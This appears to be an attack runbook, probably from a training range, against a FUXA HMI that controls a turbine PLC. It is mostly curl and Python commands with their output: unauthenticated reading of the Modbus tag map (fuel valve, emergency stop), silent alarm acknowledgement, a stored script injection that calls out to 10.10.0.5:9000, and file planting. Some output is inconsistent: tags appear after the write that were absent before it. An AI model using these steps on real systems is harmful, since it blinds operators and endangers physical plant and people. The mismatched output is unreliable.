Runbook: uupl-hmi

Entry point

This runbook picks up from the engineering workstation. You have a shell there, either via SSH or via the ProxyJump path through the bastion.

PS C:\Users\engineer>

The HMI has no SSH, no login shell, and no exposed management service. Everything goes through HTTP on port 1881.

Passive recon

Probe 10.10.3.10:1881 from the engineering workstation.

PS C:\Users\engineer> curl -s http://10.10.3.10:1881/api/project
{"devices":{"hex-turbine-plc":{"id":"hex-turbine-plc","name":"Hex Turbine PLC","type":"ModbusTCP","enabled":true,"property":{"address":"10.10.3.21","port":"502","slaveid":"1"},"tags":{"turbine_rpm":{"id":"turbine_rpm","name":"Turbine RPM","type":"UInt16","memaddress":"300000","address":"1"},"turbine_temperature_c":{"id":"turbine_temperature_c","name":"Turbine Temperature (C)","type":"UInt16","memaddress":"300000","address":"2"},"turbine_pressure_bar":{"id":"turbine_pressure_bar","name":"Turbine Pressure (bar)","type":"UInt16","memaddress":"300000","address":"3"},"line_voltage_a_v":{"id":"line_voltage_a_v","name":"Line Voltage A (V)","type":"UInt16","memaddress":"300000","address":"4"},"line_current_a_a":{"id":"line_current_a_a","name":"Line Current A (A)","type":"UInt16","memaddress":"300000","address":"5"},"governor_setpoint_rpm":{"id":"governor_setpoint_rpm","name":"Governor Setpoint RPM","type":"UInt16","memaddress":"400000","address":"1"},"fuel_valve_command":{"id":"fuel_valve_command","name":"Fuel Valve Command","type":"UInt16","memaddress":"400000","address":"2"},"cooling_pump_speed":{"id":"cooling_pump_speed","name":"Cooling Pump Speed","type":"UInt16","memaddress":"400000","address":"3"},"overcurrent_threshold":{"id":"overcurrent_threshold","name":"Overcurrent Threshold (A)","type":"UInt16","memaddress":"400000","address":"4"},"emergency_stop":{"id":"emergency_stop","name":"Emergency Stop","type":"Bool","memaddress":"0","address":"1"}},"polling":3000}},"hmi":{"views":[]},"version":"1.00","server":{"id":"0","name":"UUPL Control HMI","type":"FuxaServer","property":{}}}

FUXA serves the full project configuration over GET /api/project without any credentials. The response is JSON. Note what the top-level keys are before reading the contents in detail.

To pretty-print it:

PS C:\Users\engineer> curl -s http://10.10.3.10:1881/api/project | python -m json.tool
{
    "devices": {
        "hex-turbine-plc": {
            "id": "hex-turbine-plc",
            "name": "Hex Turbine PLC",
            "type": "ModbusTCP",
            "enabled": true,
            "property": {
                "address": "10.10.3.21",
                "port": "502",
                "slaveid": "1"
            },
            "tags": {
                "turbine_rpm": {
                    "id": "turbine_rpm",
                    "name": "Turbine RPM",
                    "type": "UInt16",
                    "memaddress": "300000",
                    "address": "1"
                },
                "turbine_temperature_c": {
                    "id": "turbine_temperature_c",
                    "name": "Turbine Temperature (C)",
                    "type": "UInt16",
                    "memaddress": "300000",
                    "address": "2"
                },
                "turbine_pressure_bar": {
                    "id": "turbine_pressure_bar",
                    "name": "Turbine Pressure (bar)",
                    "type": "UInt16",
                    "memaddress": "300000",
                    "address": "3"
                },
                "line_voltage_a_v": {
                    "id": "line_voltage_a_v",
                    "name": "Line Voltage A (V)",
                    "type": "UInt16",
                    "memaddress": "300000",
                    "address": "4"
                },
                "line_current_a_a": {
                    "id": "line_current_a_a",
                    "name": "Line Current A (A)",
                    "type": "UInt16",
                    "memaddress": "300000",
                    "address": "5"
                },
                "governor_setpoint_rpm": {
                    "id": "governor_setpoint_rpm",
                    "name": "Governor Setpoint RPM",
                    "type": "UInt16",
                    "memaddress": "400000",
                    "address": "1"
                },
                "fuel_valve_command": {
                    "id": "fuel_valve_command",
                    "name": "Fuel Valve Command",
                    "type": "UInt16",
                    "memaddress": "400000",
                    "address": "2"
                },
                "cooling_pump_speed": {
                    "id": "cooling_pump_speed",
                    "name": "Cooling Pump Speed",
                    "type": "UInt16",
                    "memaddress": "400000",
                    "address": "3"
                },
                "overcurrent_threshold": {
                    "id": "overcurrent_threshold",
                    "name": "Overcurrent Threshold (A)",
                    "type": "UInt16",
                    "memaddress": "400000",
                    "address": "4"
                },
                "emergency_stop": {
                    "id": "emergency_stop",
                    "name": "Emergency Stop",
                    "type": "Bool",
                    "memaddress": "0",
                    "address": "1"
                }
            },
            "polling": 3000
        }
    },
    "hmi": {
        "views": []
    },
    "version": "1.00",
    "server": {
        "id": "0",
        "name": "UUPL Control HMI",
        "type": "FuxaServer",
        "property": {}
    }
}

The response includes version, server, devices, and hmi.

Reading the project

The server object names the installation. The devices object is what matters for the process model.

Find the device entry:

"hex-turbine-plc": {
  "type": "ModbusTCP",
  "property": {
    "address": "10.10.3.21",
    "port": "502",
    "slaveid": "1"
  },
  "tags": { ... }
}

The HMI is configured to poll the turbine PLC at 10.10.3.21:502 over Modbus TCP, slave ID 1. The tags block is the process model: every variable the HMI tracks, with its register address and datatype. Read through it.

Tag format for each entry:

"turbine_rpm": {
  "type": "UInt16",
  "memaddress": "300000",
  "address": "1"
}

memaddress encodes the Modbus function code area: 300000 is input registers (FC4), 400000 is holding registers (FC3), 0 is coils (FC1). address is 1-based within that area, so turbine_rpm at FC4 address 1 corresponds to IR[0].

Work through each tag and note what process variable it represents and whether it is read-only (input registers, coils flagged as status) or writable (holding registers).

Alarm state

The alarm endpoints are readable without credentials:

PS C:\Users\engineer> curl -s http://10.10.3.10:1881/api/alarms
[]
PS C:\Users\engineer> curl -s http://10.10.3.10:1881/api/alarmsHistory
[]

Both return (empty) JSON arrays.

The acknowledgement endpoint also accepts requests without credentials:

PS C:\Users\engineer> curl -s -o /dev/null -w "%{http_code}" -X POST http://10.10.3.10:1881/api/alarmack -H "Content-Type: application/json" -d '{"params":{}}'
200

The 200 lands without any authentication. In a deployment with active alarms, this clears the operator alarm display without leaving a trace in FUXA’s logs.

Modifying the project

POST /api/project accepts the same JSON structure as the GET response, without any credentials. Save the current project first:

PS C:\Users\engineer> curl -s http://10.10.3.10:1881/api/project > project.json

The response is in project.json in the current directory.

Modify the hmi.views array to inject a script tag into every browser that opens the project view:

PS C:\Users\engineer> python -c 'import json; p=json.load(open("project.json")); p["hmi"]["views"]=[{"name":"main","items":[{"id":"x","type":"html","property":{"html":"<script>fetch(\"http://10.10.0.5:9000/\")</script>"}}]}]; open("project.json","w").write(json.dumps(p))'

The write() call returns a byte count, but it is not printed. The file now holds the modified project with the view injected.

POST the modified file:

PS C:\Users\engineer> curl -s -X POST http://10.10.3.10:1881/api/project -H "Content-Type: application/json" -d @project.json

The blank line is an empty response body from FUXA. No error text means the update was accepted.

Verify the write landed:

PS C:\Users\engineer> curl -s http://10.10.3.10:1881/api/project | python -m json.tool
{
    "devices": {
        "hex-turbine-plc": {
            "id": "hex-turbine-plc",
            "name": "Hex Turbine PLC",
            "type": "ModbusTCP",
            "enabled": true,
            "property": {
                "address": "10.10.3.21",
                "port": "502",
                "slaveid": "1"
            },
            "tags": {
                "turbine_rpm": {
                    "id": "turbine_rpm",
                    "name": "Turbine RPM",
                    "type": "UInt16",
                    "memaddress": "300000",
                    "address": "1"
                },
                "turbine_temperature_c": {
                    "id": "turbine_temperature_c",
                    "name": "Turbine Temperature (C)",
                    "type": "UInt16",
                    "memaddress": "300000",
                    "address": "2"
                },
                "turbine_pressure_bar": {
                    "id": "turbine_pressure_bar",
                    "name": "Turbine Pressure (bar)",
                    "type": "UInt16",
                    "memaddress": "300000",
                    "address": "3"
                },
                "line_voltage_a_v": {
                    "id": "line_voltage_a_v",
                    "name": "Line Voltage A (V)",
                    "type": "UInt16",
                    "memaddress": "300000",
                    "address": "4"
                },
                "line_current_a_a": {
                    "id": "line_current_a_a",
                    "name": "Line Current A (A)",
                    "type": "UInt16",
                    "memaddress": "300000",
                    "address": "5"
                },
                "line_voltage_b_v": {
                    "id": "line_voltage_b_v",
                    "name": "Line Voltage B (V)",
                    "type": "UInt16",
                    "memaddress": "300000",
                    "address": "6"
                },
                "line_current_b_a": {
                    "id": "line_current_b_a",
                    "name": "Line Current B (A)",
                    "type": "UInt16",
                    "memaddress": "300000",
                    "address": "7"
                },
                "frequency_hz_x10": {
                    "id": "frequency_hz_x10",
                    "name": "Frequency Hz x10",
                    "type": "UInt16",
                    "memaddress": "300000",
                    "address": "8"
                },
                "power_kw": {
                    "id": "power_kw",
                    "name": "Power (kW)",
                    "type": "UInt16",
                    "memaddress": "300000",
                    "address": "9"
                },
                "governor_setpoint_rpm": {
                    "id": "governor_setpoint_rpm",
                    "name": "Governor Setpoint RPM",
                    "type": "UInt16",
                    "memaddress": "400000",
                    "address": "1"
                },
                "fuel_valve_command": {
                    "id": "fuel_valve_command",
                    "name": "Fuel Valve Command",
                    "type": "UInt16",
                    "memaddress": "400000",
                    "address": "2"
                },
                "cooling_pump_speed": {
                    "id": "cooling_pump_speed",
                    "name": "Cooling Pump Speed",
                    "type": "UInt16",
                    "memaddress": "400000",
                    "address": "3"
                },
                "overcurrent_threshold": {
                    "id": "overcurrent_threshold",
                    "name": "Overcurrent Threshold (A)",
                    "type": "UInt16",
                    "memaddress": "400000",
                    "address": "4"
                },
                "emergency_stop": {
                    "id": "emergency_stop",
                    "name": "Emergency Stop",
                    "type": "Bool",
                    "memaddress": "0",
                    "address": "1"
                }
            },
            "polling": 3000
        }
    },
    "hmi": {
        "views": [
            {
                "name": "main",
                "items": [
                    {
                        "id": "x",
                        "type": "html",
                        "property": {
                            "html": "<script>fetch(\"http://10.10.0.5:9000/\")</script>"
                        }
                    }
                ]
            }
        ]
    },
    "version": "1.00",
    "server": {
        "id": "0",
        "name": "UUPL Control HMI",
        "type": "FuxaServer",
        "property": {}
    }
}

FUXA applies the project immediately. Any browser opening the HMI view executes the injected payload.

File upload

The /api/upload endpoint accepts files without authentication. It expects a JSON body with name, data, and type fields:

PS C:\Users\engineer> curl -s -X POST http://10.10.3.10:1881/api/upload -H "Content-Type: application/json" -d "{\"name\":\"planted.txt\",\"data\":\"content here\",\"type\":\"txt\"}"
{"location":"/resources/planted.txt"}

Files land in the FUXA resources directory and are served back at the returned path. The upload requires no credentials.